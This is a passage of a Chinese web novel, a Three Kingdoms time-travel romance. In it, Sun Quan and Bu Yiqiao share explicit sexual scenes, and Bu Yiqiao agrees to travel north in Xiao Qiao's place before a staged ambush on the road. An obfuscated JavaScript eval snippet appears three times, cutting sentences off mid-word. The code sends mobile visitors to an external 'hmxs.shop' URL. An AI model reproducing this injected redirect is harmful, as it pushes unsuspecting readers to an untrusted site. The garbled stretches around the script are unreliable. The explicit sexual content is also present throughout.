“夫人……再唤我一声。” “夫君。” 窗外似有惊雷炸响,暴雨骤临,雨点急叩窗棂。 孙权咬住她肩头,声音混着雨声发狠。步一乔惊恐又惊喜,不敢松开他一寸。 “再唤。” “夫、夫君……夫君……夫君……” 电光划破夜空,照亮他眼底翻涌的占有欲。他猛地深入,掀翻了运筹帷幄布下的棋局,听见她破碎的呜咽,胜负已定。 是孙权输了。 低矮的桌案终究方寸之地,相拥之人滚落在地,冰凉惊出一声娇哼,本能地向他身子贴近,四肢如蔓缠绕。 《玄女经》房中九法,取法天地生灵,姿态皆以鸟兽为名。成书于战国至两汉,彼时举国上下,凡习房中术者,莫不以此为纲。 后世的步一乔只读过竹简上的墨字,未见过古人笔下的春宫绘卷。而曾被朱然强塞入手学习的孙权,翻阅的正是图文并茂的那一卷。 他扣住她的腰,引她转身。青丝散落如瀑,拂过他膝头。 “夫人前日不是想与我探讨房中术吗?想试第几式?抑或……从第一式‘龙翻’始?” 她咬住唇,指尖深掐入他臂膀。 “夫君……听夫君的……” 窗外雷声滚过天际,雨幕如倾。而室内的雨,方才真正落下。 77. 水 竹简散落一地,将两人围困其间。如同修炼的阵法,将两人环绕。 雨声渐密,如万弦齐鸣。 孙权并未等步一乔应答,已俯身衔住她后颈,如猎豹制住战栗的羔羊。掌心贴着她脊骨一节节下滑,所过之处皆激起细密的战栗。 听见细腻的呼吸,他勾唇浅笑,掌心擦过她的腰侧,从背后抱住她的小腹。 “方才第一式,这是第二式……夫人可知,书中言,可令百病不发。” “百……百病……你我……不是只有疯病吗……” “呵,是啊,疯病,折磨彼此,折磨自己的疯子……呃!” 孙权咬牙,步一乔闷哼,指尖扣入毡毯。视野瞥见满地散落的黑白棋子,在晃动的视野与烛光里明明灭灭,如颠倒的星斗。 他并不急躁,反而刻意放缓,似在临摹古卷上的笔触,又似在品味她每一丝细微的反应。汗珠自他额角滴落,坠在她蝴蝶骨上,碎成更小的光点。 惊雷炸开的瞬间,步一乔的意识空白了一瞬。身子软摊侧卧发愣,眼看着孙权抬起自己的腿,偏过头,在脚腕处落吻。 “你——” 吻过脚腕,又在小腿上落下细细密密的吻。 “你别——” 似是得了逞,孙权带着她的腿微弯,去吻角度刁钻的脚背。 顺着他垂落自己身前的青丝,一路朝上,仰望他专注的脸庞,步一乔脚趾蜷紧,几度抽回皆失败。 “别、别吻了……啊!” 一声惊呼,她骤然正面仰首,青丝在身后荡开弧。仰视着她的君王,换了条腿,继续印上他的章印。 双双跌坐于残局之侧,棋枰倾倒在旁,一枚白子滚至她腰际,凉意激得她轻颤。 “书中所说,猿搏,‘男深案之,极壮且怒,女快乃止,百病自愈。’如此,你我这疯病,岂不是能经由此法,双双痊愈?” “夫……君……要死了……这哪儿是学习,是……是……我真要死了……放过我……” 声音早已不成调,似求饶,似催促。 孙权低笑,吻去她眼角的湿意。他呼吸灼烫,扫过她耳廓。 “大喜之日,不许乱讲话。况且才第三式,夫人便受不住了?余生漫漫,可如何是好?” “你……流氓!你的……你的君子之礼呢!对别人那般温柔,对我就……哈……” 窗外廊下昏暗的烛光,照亮他汗湿的胸膛,与她绯红如霞的侧脸。那一刹,她恍惚看见他眼底翻涌着嗜人的欲念。 雨声吞没了呜咽与喘息。 棋局尽毁,而另一局,方兴未艾。 * 将书房搞得一团糟后,两人辗转至厢房。烛火轻摇,将二人的影子投在屏风上,如一幅缓缓展开的秘戏图。 步一乔面颊微红,指尖无意地划过他身前硬挺胸腹:“《玄女经》……夫君当真研习过?” 孙权握住她游移的手,置于唇边一吻:“朱然所赠之卷,不过略略翻阅。怎比得上……亲身研习。” 她耳根发热,却强作镇定:“书中九法,主公最熟哪一式?” “夫人想听真话?” “自然。” “最熟的……”他引着她的手,缓缓抚过自己胸膛、腰腹,最后停在紧绷的腿侧,“是未曾载入书中的第十法。” 步一乔怔然:“第十法?” “此法无名,无式,无定规。唯有一条——” “是什么?” “以你之喜为喜,以你之适为度。你颤,则缓;你迎,则深;你泣,则止;你求……则尽予。” 她心口剧颤,竟说不出话。 “夫人可愿,与我共参此式?” 烛光淌过莹润肩头,她望进他眼底,那一片深邃中并无戏谑,唯有郑重的邀约。 “那……若我喜疾,若我适狂,若我求无度呢?” 孙权笑了,他吻住她之前,留下最后一语。 “那便,颠覆九法,自成天地。” 雨声又起,又闻更漏滴滴。 昏过去前,步一乔望着孙权的脸,瞥向一旁妆台上的镜子。没征兆地,想起了步练师。 为什么步练师会出现?为什么这个故事里,不该只有一位步夫人吗?像小乔,像甘宁,像甄宓,以离奇的事故将正主送走,悄无声息地“替代”。 自己和步练师很像,不会不也是冥冥中是要替代的,但因“事故”不曾发生,所以才取代失败吗? 事故……杀人事故…… 孙权和步练师…… “我这是要被后世成千上万的三国党诛杀啊……” * 在庐江这些时日,孙权并未得闲,暗中与驻守此地的孙氏部属商议军务。 建安五年冬的庐江郡,北境属曹操,南地为孙氏所据,山野间尚有地方势力盘踞,局势错综复杂。前些时日周府的宴请,亦是为笼络人心,为日后夺取庐江早作绸缪。 孙权忙碌,步一乔也未闲着。她每日主动登门照应小乔,若逢天气晴暖,便搀扶小乔出门散心。 “步姑娘。” 正于街市挑选发簪的姑娘闻声回首,见来人,亦微微欠身:“步小姐。” 两位步姑娘相视而笑,笑意里却藏着不同的意味。 步一乔放下手中那支玉簪,转向步练师:“步小姐竟认得我?” “那日在周府,曾听主公提及姑娘芳名。” “孙权?咳——主公说我什么?” “他说姑娘性善妒,常令他头疼不已。” “是么。”步一乔眼波轻转,笑意浅浅,“步小姐这般温婉得体,倒教我羡慕。不知……可否指点一二?” “姑娘说笑了。各人性情自有天成,何来指点之说?倒是姑娘率真灵动,主公虽言‘头疼’,语气间却多是纵容珍视之意。” 步一乔垂眸一笑,指尖轻轻抚过摊上另一支素银簪子。街上人声渐攘,远处传来货郎悠长的叫卖声。 “纵容珍视……”她低声重复,忽又抬眼,“所以,今日是偶遇,还是步小姐特地来此寻人?” 步练师眸光温静,唇边笑意未减:“姑娘多心了。不过是随意走走,恰巧遇见。若能偶遇主公,也好将那日未尽的道谢之言说全。” 步一乔却未挪开视线,指尖仍停留在那支素银簪上,语气轻缓似自语:“庐江虽不大,可要在这人来人往的市集‘恰巧’遇见,倒也难得。” 她抬眸,直视对方。 “步姑娘与主公……似乎颇为熟稔?” “主公待人向来宽厚,妾身不过是众多幕僚家眷之一,不敢言‘熟稔’二字。”步练师微微侧首,望向远处渐沉的暮色,“倒是姑娘……似乎对妾身有些介意?” “怎会。”步一乔轻笑出声,终于将簪子拿起,对着天光端详,“我只是好奇,常被世家子弟提及的女子,究竟是何模样。” 她将簪子轻轻放回摊上,发出细微的磕碰声。 “如今见了,果然温婉得体,进退合宜。也难怪众人皆道,谁若娶了姑娘,便是三生有幸。” 步一乔转身,端得仪态大方。 “天色不早,我该回去照看乔夫人了。步姑娘,再会。” “姑娘慢行。” 步一乔走出几步,忽又驻足回头。步练师仍立在原处,暮色为她周身镀上一层朦胧的柔光。 “姑娘还有话同妾身讲?” “我曾想,若你我之间没有主公这一层,单看性子,或许能成为知交。如今看来,却是不行了。” 步练师怔愣一瞬,轻笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834234|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“为何?” 步一乔也笑,随即笑意收敛。 “因为我……好像不太喜欢你。” * 暮色渐浓,市集的灯火次第亮起。 步练师静立原地,面上温婉的笑意未褪,只是轻轻颔首。 “妾身明白了。姑娘慢走。” 步一乔转身离去,衣袂掠过青石板路,步子迈得又稳又快。直到拐过长街转角,她才靠在冰凉的墙面上,长长舒出一口气。 摊开手心,不知何时被汗水打湿。她低头看着,忽然自嘲地笑了笑。 “真是……幼稚、怂猪。” 可话已出口,覆水难收。她用力蹭掉掌心的汗,抬头望向孙氏老宅的方向。 此刻他应在与谋士议事,或是批阅军报。步一乔想象出他执笔凝神的侧影,眉头微蹙,目光沉静。 她忽然很想见他。 不是因为猜疑,也不是因为不安,只是想看看他,尤其在她刚刚说出“我不喜欢你”之后,尤其从步练师口中听见他之后。 她穿过渐暗的街巷,府门前侍卫见是她,并未阻拦。书房外的长廊寂静无声,她抬手欲叩门,却听见里面传来低语。 “……庐江南部的布防,还需再议。” 是孙权的声音。 步一乔的手悬在半空,迟疑片刻,终究没有落下。她转身欲走,房门却在这时开了。 周瑜执卷而出,见她立在门外,微微一怔,随即颔首致意。 步一乔侧身让开。 “主公还在里面。” “嗯。” “要进去吗?” 周瑜并未离开,多问这一句,便是有话要讲。步一乔会意,转身与他一同朝院中僻静处走去。 夜色已浓,二人停在院角的梧桐树下,远处书房的窗纸仍透出光亮。 “你见过步小姐了?” “嗯。” “我也直言了。庐江上下,皆望主公迎娶步小姐,以固人心。” “嗯。” “要取庐江,需借本地士族之力。其中利害,我不说,你也当明白。” “嗯。” “此事我本不愿多言。”周瑜望向书房的方向,“但小乔如今处境微妙,仲谋若不能尽快坐稳局面,凝聚各方……后果恐难预料。” “不用你说,我清楚。” 周瑜的目光落在步一乔脸上,夜色中辨不清神情。 “仲谋的心意我知晓,但你的态度更为紧要。”他缓缓道,“既然要他推拒桩桩婚事的是你,那便也只有你能劝他决断。” 步一乔自嘲冷笑,“你当我没说吗?” “你是说了,但态度不够坚定。你若自己尚且摇摆不定,仲谋如何做出决断?” 步一乔沉默良久,才低声道:“公瑾先生以为,我该如何‘坚定’?” “万全之法,便是离开江东,离开仲谋。” 步一乔嗤笑,“连你也要我走。” “我是为江东考虑,儿女私情我不管。伯符将仲谋交于我,我既发誓守护江东,便不能看着它,还有他,葬送于此。” 周瑜顿了顿,态度预期软了些。 “倘若伯符还在,仲谋或可随性而为,与你相守一生。但如今他是主公,是挑起孙吴重担之人。他的每一个抉择,都关系着千万人的生死。” “仲谋不能为你,负了这天下。” 步一乔将脸埋得更低,嗓音微哑:“那你说该怎么办?” 周瑜道:“眼下尚有一局待破,是与曹操,也是与张昭和四大家族。你的法子可行,但我另有一计,近乎周全,唯独会委屈一人。” “谁?”步一乔抬眼看他,心中渐明,“我吗?” “步姑娘,请代小乔北上,远赴许都。” 78. 答 半个时辰前,周瑜趁夜拜见孙权。 “议正事之前,臣有一要事,需先与主公商议。” “公瑾兄请讲。” “据闻,子布与四大家族近日暗中聚议,恐与先前拒曹之事有关。” 孙权道:“子布等人是怕曹军来犯,寡不敌众,终至倾覆。我又何尝不怕。” 周瑜默然片刻,方开口:“臣有一计,可十拿九稳,唯独……苦了一人。” 孙权握着竹简的手指微微收紧,抬起眼:“何人?” “步一乔。” 空气凝滞了片刻,孙权放下竹简,声音听不出情绪:“说下去。” “曹操遣使为子求娶小乔,意在羞辱,亦在试探。若直接回绝,战端立启;若将小乔送去,则江东颜面尽失,士气必溃。”周瑜顿了顿,“步姑娘容貌姣好,不输小乔,若代嫁北上……” “你要她替小乔入许都?”孙权打断他。 “是。此乃缓兵之计。曹操意在折辱,得‘小乔’便暂可得志,以为江东怯懦,战事或可延缓半载。这半年,足够我们整顿水军,联结刘表,巩固江淮。” “然后呢?让她在许都如何自处?曹操发现真相又当如何?” “步姑娘聪慧机敏,自有周旋之法。待时机成熟,臣会设法接应她南归。” 周瑜直视孙权。 “此计凶险,臣知。但眼下,这是唯一能同时稳住曹操与江东士族的选择。” 对内,步一乔非江东士族,可破僵局;对外,她身份特殊,可作奇子。周瑜说得对,这是唯一的路。 唯独苦了她。 或许,也苦了他。可江东是孙权的江东,这“苦”字,终究落不到他头上。 孙权缓缓起身,走到窗边。夜色如墨,白雪皑皑。 “她不会同意。” “步姑娘深明大义。为主公,为江东,她会同意的。”周瑜低声道,“眼下,只需主公一句话。臣,愿替主公,劝服步姑娘。” 静默许久,窗外,雪光映着孙权沉默的侧脸。 “公瑾兄可还记得兄长临终之言?” 周瑜躬身:“记得。伯符嘱臣辅佐主公,守江东基业。” 孙权低声又道:“他还说,莫让我……成了孤家寡人。” 周瑜垂首不语。 孙权走回案前,沉眸看着书案上堆叠的竹简。 “一乔至此,助我良多,如今要我亲口让她赴险。公瑾兄,你教我如何说得出口?” “正因说不出口,才需臣去说。主公之难处,臣明白。但乱世之中,坐在这个位置上,有些话必须有人说,有些事必须有人做。” “若她不愿呢?” “那便是臣劝说不力,与主公无关。” “若她恨我呢?” 周瑜沉默片刻,缓缓道:“那便让她恨吧。恨总比亡好。” 孙权闭了闭眼。 他知道周瑜是对的。自继位以来,他无数次在“该做的事”与“想做的事”之间挣扎。每一次,都是周瑜将他拉回这个需要算计、需要牺牲、需要将人心放在秤上称量的现实。 “此事……暂且不议,先说正事。公瑾深夜来访,所谓何事?” “正为此事。主公,不可再犹豫了!无论谢氏、步氏、徐氏,皆在观望主公联姻以定人心。此番拖延,外界只道主公为一人所困,岂不更授人以柄?” 孙权的手按在案上,竹简边缘硌入掌心:“你的意思是……” “代嫁北上,可解外患;允婚庐江,可安内忧。步姑娘北上之日,便是主公定下婚事之时。内外同时落子,方可破此僵局。” 窗外风骤起,卷雪扑窗。 孙权良久不语。他仿佛又看见兄长临终前紧握自己的手,看见母亲吴夫人忧心的眼神,看见堂上文武百官各怀心思的面孔。 “我明白了……” 周瑜面上露出心悦,“主公的意思是?” “我听她的。” * 步一乔难以置信地偏过头,看向冷静如常的周瑜。 “我?代替……小乔?” “步姑娘姿容出众,与夫人相比,只在伯仲之间。” “都督倒是爱妻如命啊。嘴上说求我帮忙,实则将我骗回此处,是早有预谋啊。” “瑜并非先知,也不记得与姑娘求过什么情。”周瑜沉了口气,“纵使早知今日,此计亦是上选。” 小乔若去,恐难生还;步一乔去,却尚有转圜之机。 确是一举两得,也确是被这位算无遗策的都督,安排得明明白白。 “孙权呢?他知晓吗?” “主公正愁如何回绝曹操。” 步一乔仰首,轻轻吁出一口气道:“没法回绝吧。那是天子名义发来的诏书,如何能拒?眼下江东内外交困,若再触怒张昭与文臣众议,稍有不慎,便是万劫不复。他不可能冒险。” “步姑娘有何打算?” “我能有什么打算?本就是答应你护小乔周全,才回到此处,如何言而无信?”步一乔看向门内,“只是孙权那边……有点难办啊。” 周瑜看着步一乔,趁她不备,悄悄勾起抹得逞的笑。 “姑娘不必忧心。主公明辨大局,待我与他说明利害,他自会明白。” “是吗。是吧,他向来听你的。” 步一乔垂下眼,良久没有言语。檐角碎雪被风扫落,簌簌地响。 “何时动身?” “腊月廿三,曹使返程,可随行北上。” 她点了点头,“好。” 周瑜看着她,笑意早已敛去,道:“步姑娘可有话需瑜转达主公?” 步一乔终于抬起头,稍露近乎自嘲的表情。 “告诉他,这是我自己的决定,与旁人无关,与他无关。”顿了顿,又低声补了一句,“还有……愿他早日成婚,坐稳江东。” 与听见他在室内所说之言无关,她不想为难他。 而她,也正有此打算。才敢放肆在昨夜与他彻夜欢愉,唤他夫君。 一切,早有预谋。 周瑜颔首:“必当转达。” 步一乔不再看他,转身朝自己暂居的厢房走去。雪地上留下一行浅浅的脚印,很快又被新雪覆上。 书房内,孙权仍立在窗边。 周瑜推门而入时,他并未回头。 “她应了。” “……嗯,我都听见了。” 一声极低的苦笑逸出喉咙。孙权终于转过身,眼底布满血丝,嘴角却绷得死紧。 “公瑾,我是不是……很像当年为玉玺向袁术屈膝的兄长?” 周瑜沉默片刻,缓缓道:“主公与伯符不同。伯符当年是为借兵雪恨,一时权宜。而主公今日,是为江东存续,万民安危。” “权宜……”孙权重复这两个字,连连苦笑,“都是不得已,又有什么分别。” 他走回案前,重新展开那份来自许都的“请乔”帛卷。 “从此刻起,步一乔为桥公小女,名唤‘小乔’,奉天子诏令,腊月廿三,北上许都。” 墨迹在绢上泅开,孙权搁下笔。 “传令张昭,此事……以万全之法,就此落定。” 周瑜深深一揖:“臣,领命。” * 步一乔走到厢房外,没有立刻推门。 她在阶前坐下,望着庭院里越积越深的雪,一动不动。心里翻来覆去想的,尽是待会儿孙权若回来,该用什么样的神情去面对他。 “今夜你通宵工作吧,别回来了……” 习惯了同处一室,到了这种时候,反倒不知该如何相见。 雪越下越紧,落在她的肩头、发梢,渐渐覆了一层薄白。 不知过了多久,身后传来极轻的脚步声。她没回头,那人也没靠近,只在不远处停住。 “外面冷。” 步一乔依旧望着远处书房窗纸透出的、那片昏黄的光。 “主公忙完了?” “忙完了。” “嗯。” 孙权在她身侧坐下,两人都没再说话,只一同望着庭院。 雪落无声,良久,孙权抬手,拂去她发间积落的雪花。 步一乔微微一颤,却没有躲开。 “进去吧。” 她终于侧过脸看他。夜色里,他的眉眼模糊在雪幕之后,唯有目光沉静得让人心头发涩。 “好。” 她起身,朝他伸出手。孙权握住,掌心温热,指尖却冰凉。 两只手就这样牵着,一步一步走回厢房。谁也没有提许都之事,没有提那些不得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838918|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的抉择。 门槛跨过,房门合上。室内热气扑面而来,融化了身上的积雪。 步一乔松开手,走到炭盆边蹲下,拨了拨将熄的余烬。孙权立在门边,看着她的背影在微光里显得单薄。 “添些炭吧。”他说。 “不用了。不冷。” 孙权走过去,在她身旁坐下。两人肩并着肩,望着盆中最后一点暗红的火星。 “腊月廿三,”步一乔忽然开口,“是祭灶的日子。” “嗯。” “北方的灶糖……不知是什么滋味。我长这么大,还没去过北方呢。” 孙权想说什么,终究没有出声。他只伸出手,将她冰凉的指尖拢进掌心。 这一次,步一乔没有抽回。 “孙权。”她唤他,不是“主公”,也不是“仲谋”。 “嗯。” “我收回以前对你说的很多话。” “……什么话?” “挺多的,一时想不起全部,只记得一句。”步一乔深吸一口气,眼神失焦,“但说来……那句话,真是我说的么?从头到尾,不都是你一人在说吗。” “什么话?” “只娶我。不娶别人,只与我一人……我提的是假如,你答的是定然。然后……” 许下承诺的是你,背弃承诺的是你。 可推你背誓的……却是我。 她没有说下去。 火星“噼啪”一声,彻底灭了。 “还有多少时日?”步一乔问。 “……三日。”孙权答。 “三日啊……好快。”步一乔忽地轻笑,“看来是来不及回吴郡,向吴夫人致歉了。” 反正,也用不着了。 炭盆彻底暗下去,寒意从四面漫上来,孙权握紧她的手。 “等一切落定,我会接你回来。” 步一乔没有应声,只是起身轻轻说:“睡觉吧,你也累一天了。” 她走向内室,孙权仍坐在原地,听着她的脚步声渐远,眸光逐渐暗淡。 “一乔……” “嗯?” 没曾想人又折返,站在他跟前。孙权扬起惆怅的脸,望着步一乔。 她弯下腰,捧住他的脸,在他唇上印了一下。 “一个人睡,被窝凉,最后几日,也得劳烦主公替我暖暖。” 孙权心口抽得疼,手臂却已将她拥紧。他没有说话,只将脸埋在她颈侧,隐忍着濒临崩溃。 步一乔闭上眼,任由自己沉入这最后的暖意里。 他抱起她走向内室,锦衾冰凉,相贴的肌肤是唯一的热源。没有言语,也没有更深的缠绵,只有紧紧交握的手,和落在发间、眉心、唇畔那些细碎而潮湿的吻。 像在确认,也像在告别。 更漏一声一声,缓慢地切割着所剩无几的时光。步一乔在昏暗里睁着眼,听着身侧逐渐均匀的呼吸。她抽出手,指尖虚悬,隔着一寸的距离,描摹他眉骨的轮廓。 最终,那手指还是收了回来。 天将亮时,孙权在朦胧中下意识收紧手臂,却只揽到一片空冷的衾枕。 枕畔余温尚在,人已不见。 他睁开眼,望着帐顶许久未动,直到晨光彻底浸透窗纸,映亮满室孤清。 “就这么逃走吧,一乔……是我背誓……是我无能。” 孙权翻身下榻,踩上榻边的鞋,倏地顿住。 两双鞋,步一乔的鞋还在。 他慌忙起身去寻,赤足冲向外室。晨光熹微里,步一乔只着单衣,抱着膝,静静坐在冰冷的炭盆边。 听见声响,她转过头来,脸色苍白。 “吵醒你了?” 孙权几步上前,将她冰凉的身子连同未尽的话一同裹进怀里。 “我以为……”他的声音在哽咽。 “以为我走了?我也想过的。可转念一想,我答应和你一起守护伯符留下的基业,又怎可临阵脱逃呢。” 步一乔任他抱着,眉眼微弯。 “答应你的事,我从未食言。这次,也不例外。” 她回抱住孙权颤抖的身子,扬起暖笑。 “我的脚还光着,主公若不急着工作,要不要与我,再赖会儿床?最后的时日……我想尽可能和你在一起,夫君。” 79. 宣 于是,两个人如同真做了新婚夫妻,发了狠忘了情,眼中只有彼此充满情欲的双眸。 “主公这……该如何是好啊,大都督。”吕范不禁问道。 门外,周瑜、鲁肃、吕范三人望着整日紧闭的房门,不免担忧。 “三日而已,随他去吧。”周瑜说道。 鲁肃拢了拢衣袖,轻声喟叹:“此一去,关山难越,再见恐真是……遥遥无期了。主公心中之苦,你我最是明白。” 周瑜侧目看他,笑道:“子敬兄近日,倒是愈发多愁善感了。说来,还未正式贺喜。听闻尊夫人与内人孕期相近。明年,你我也是要为人父了。” 鲁肃一怔,随即苦笑:“是啊,她心软,最听不得这般别离之事。尤其她与步姑娘向来投缘,若知晓此情,怕是要垂泪伤怀,反倒伤了胎气。此事……乔夫人可知晓?” “未曾告知。她如今身子重,心思又细,此事还是暂且瞒着为好。” 周瑜说着,目光重新落回那扇安静的门上,轻叹息。 “牵绊太深,难以决断啊。” * 屋内。 “哈……哈……啊!你干嘛!” “又走神。” “谁走神了!我这不是在专心学习嘛!” 步一乔手里的确握着竹简,不过是尚未展开的状态,不过手上需要抓着什么,提醒自己切勿晕睡过去。 孙权一手撑在她耳侧,另一只手轻巧地抽走那卷根本没展开的竹简,随手丢到榻边。 “专心?那说说看,刚才读的是《诗经》哪一篇?” 步一乔气息还未平复,嘴硬道:“《关雎》!‘求之不得,寤寐思服’……唔!” 这吻来得又急又深,直到她彻底软了身子,再顾不上什么诗书。软弱无力的手拍打着他,如挠痒一般,撩起更深的情愫。 “错了。你手里的,是《孙子兵法》。还说没走神。” 步一乔迷蒙地眨了眨眼,终于看清那被丢在角落的竹简上,隐约是“孙”字。 “兵不厌诈……”她小声嘟囔,不知是说书,还是说人。 孙权低笑一声,重新吻住她。竹简孤零零地躺在脚踏上,再无人理会。 衣裳布帛散落一地,满室旖旎春色,才不顾门外站着什么人,听见什么风声,此刻天地倒悬,纲常尽焚,唯余彼此滚烫的呼吸与肌肤相贴的战栗,发出惊天动地般的哀鸣。 步一乔喘息着靠坐在床榻边,身下垫着不知何时掉落的被褥,地板的冰凉不至于刺痛身子。 她呆滞地望着不远处翻箱倒柜的孙权,直到他取出一根粗细适中的红绳和一把匕首,心生不妙。 “不会吧……来这套?我可没这癖好。” 孙权走到她身边,单膝跪下,挑起她一缕青丝,用匕首利落地割断。他又割下自己的一缕,将两缕头发仔细地缠绕在一起。 步一乔怔怔地看着。 他取过那截红绳,极为认真地将融合的发丝系紧,打了一个牢固的结。 “结发为夫妻,生死不分离。”孙权低声道。 又用剩余的红绳,仔细地缠绕在步一乔纤细的腕上,系成一个简单的平安扣。 “此去路远,险阻难测。以此为念。以此为约。等我接你回家。” 步一乔握紧掌心温热的发结,腕上的红绳贴着皮肤。千言万语堵在胸口,她抬起眼望着他,泪水毫无预兆地滚落下来。 “孙权……孙仲谋……我真的……真的很讨厌你……” 她猛地伸手勾住他的脖颈,仰头吻了上去。咸涩的泪意,将所有无法言说的爱恨、不甘与眷恋,近乎凶狠地烙印在他的唇上。 “我才不要你接,我要你好好守住江东。” “若是让我历史书上,看到你又做什么傻事……我会恨你一辈子的。” 孙权轻笑,却满是苦涩。 “这话,我为何听出了永别的意味……” 步一乔环住他的脖颈,缱绻低语:“明知故问。你让我如此沉沦于你,怎舍得就此与你永别。” 下次再见,重逢何时何地,你不是很清楚吗。 “一乔……” “最后的日子,想多听你唤我夫人。夫君。” 孙权眼眶含着泪,抽噎着。 “夫人,我爱你。” 孙仲谋永远记得,那时步一乔对他说,千年以后的人表达爱意,都是用“我爱你”三个字。 * 三日,一晃而过。 步一乔包裹得严实,兜帽掩盖,趁着天色未亮,于庐江城门口,与返回许都的曹操使者碰面。 交接的仪式简短到近乎沉默,只有文书与印信的交换。 “这位,便是乔夫人?” 一旁的孙权神情恍惚,怔愣良久,终于极慢、极重地点了一下头。 “正是。”周瑜适时上前半步,接过了话头,“夫人体弱,受不得风寒,还请使者途中多加照拂。” 使者了然般点了点头,侧身示意:“夫人,请登车。” 步一乔始终未发一言,扶住车辕,径直踏入了车厢。没注意到孙权快速伸出又收回的手。 车门合拢,彻底隔绝内外。 “请将军、都督放心,在下必将夫人平安护送至许都。” 车轮滚动,渐渐远去。 孙权站在原地,凝望尽头那片空茫处。周瑜示意其余人先行,自己则留在主公身侧,默然相伴。 直到最后一缕车马声也消散在凛冽的空气里,孙权才缓缓转过身。他脸上没有泪,也没有更多的表情。 “公瑾兄……我虽答应过兄长,不会再展露脆弱,可……” 周瑜了然,牵住孙权的手道:“此刻只有你我二人,仲谋若想哭,便哭吧。” 孙权垂着头,肩背几不可察地颤抖起来,没有发出声音,只是紧咬着牙关,泪水却不受控制地汹涌而出,砸在雪地上。 他抬手死死抵住额头,仿佛想将痛楚与无力生生按回去。 周瑜沉默地站在一旁,没有劝慰,只是望着别处默默陪伴。 良久,孙权渐渐平息。他抬起手,用衣袖狠狠抹去脸上的泪痕,深吸了几口凛冽的空气。再抬头时,眼底血丝未退,但被一种更深沉、更冷硬的东西取代。 “走吧。还有许多事要做。我……” 他顿了顿,神情倏变。 “孤,是江东之主,绝不可再为私情所困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841212|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,误了江山社稷。” * 马车上,步一乔困乏得厉害,忍不住又打了个哈欠。她抬起手,指尖随意拭去那点湿意,动作有些迟钝。 太累了。连续三日几乎未眠,精神与身体都绷紧到了极致,如今骤然松弛下来,只剩无边无际的疲惫。 “这么搞……我不会又怀孕吧?”步一乔无奈苦笑,“应该不会……身子争口气啊。我才不要落得个‘带球跑’的荒唐角色。” 那太狼狈,也太讽刺了。 她下意识地将手轻轻覆在小腹上,片刻后,又像是被烫到一般迅速移开,紧紧攥住了袖中那枚小小的发结。 “接下来,该执行计划下一步。逃出许都,去邺城,找甄霖。” 至于孙权……他是个懂得轻重之人,知道该怎么做。 “别做傻事啊孙仲谋,否则这一别,就真是千年万年,再难相见了。” 无论是这乱世三国,还是千年之后的未来。 * 北上之路漫长,使者与步一乔除去必要的进食与短眠,几乎马不停蹄,生怕路上出什么意外。 可这世道,又怎会一路太平? 距离许都百里之地,正当他们穿过一处山坳密林时,前方道路中央被几截胡乱砍伐的树干挡住。车夫急急勒马,马车骤然一顿。 林间人影晃动,五六个手持利刃的汉子钻了出来,为首的独眼啐了一口,刀尖直指马车。 “车上的人,留下钱财细软,老子饶你们性命!” 使者脸色一沉,手已按上腰间佩剑,压低声音对车内道:“夫人勿动,我来应对。” 步一乔在车内屏住呼吸,偷偷望向车窗外。 使者掀帘下车,试图周旋:“诸位好汉,我们乃是北行探亲的寻常人家,并无多少资财。些许盘缠,愿奉与诸位,只求行个方便。” 他边说,边解下腰间的钱袋,掂了掂,丢了过去。 为首的独眼接过钱袋,掂量一下,嗤笑一声:“就这点?看你马车还算齐整,里头藏的怕是更值钱吧?兄弟几个,搜!” 眼看两个匪徒就要逼近马车,使者知道无法善了,铮然拔剑:“那就休怪在下无礼了!” 剑光闪动,瞬间与两名匪徒斗在一处。使者身手不弱,但对方人多,且亡命之徒出手狠辣,一时竟被缠住。为首的独眼已趁机绕到马车侧后方,伸手扯开车帘。 见步一乔一女子端坐车内,手中并无兵器,只有一枚看似普通的发结。 独眼咧嘴笑了,“嘿嘿,真是巧了啊,劫财又劫色。这等美人,莫非是谁家夫人?人妻啊……老子喜欢!” 使者一听,面色大变,怒吼道:“不许碰她!那是曹公要的人,你要是敢——” 一刀劈下,使者殒命。 使者倒下,车夫亦早已倒在血泊之中。荒野之间,除了这群“匪徒”,便只剩她一人。 步一乔却不见惧色,反倒轻轻笑出了声。她甚至探出身,拍了拍独眼汉子的肩。 “演得真像,方才差点连我也唬住了。” 说罢,她目光越过独眼之人肩头,投向车外正在沉静指挥手下收敛尸首的男人。 “久仰大名,苏飞大人。” 80. 缘 收拾完尸体,苏飞将劫匪的费用结算后,现场只剩下三人与马车。 刀刃上的血珠被甘宁随手甩落在沙土里,他另一只手烦躁地扯了扯脸上的眼罩,嘴里嘟囔着:“这玩意儿硌得老子眼窝子疼,摘了算了。” 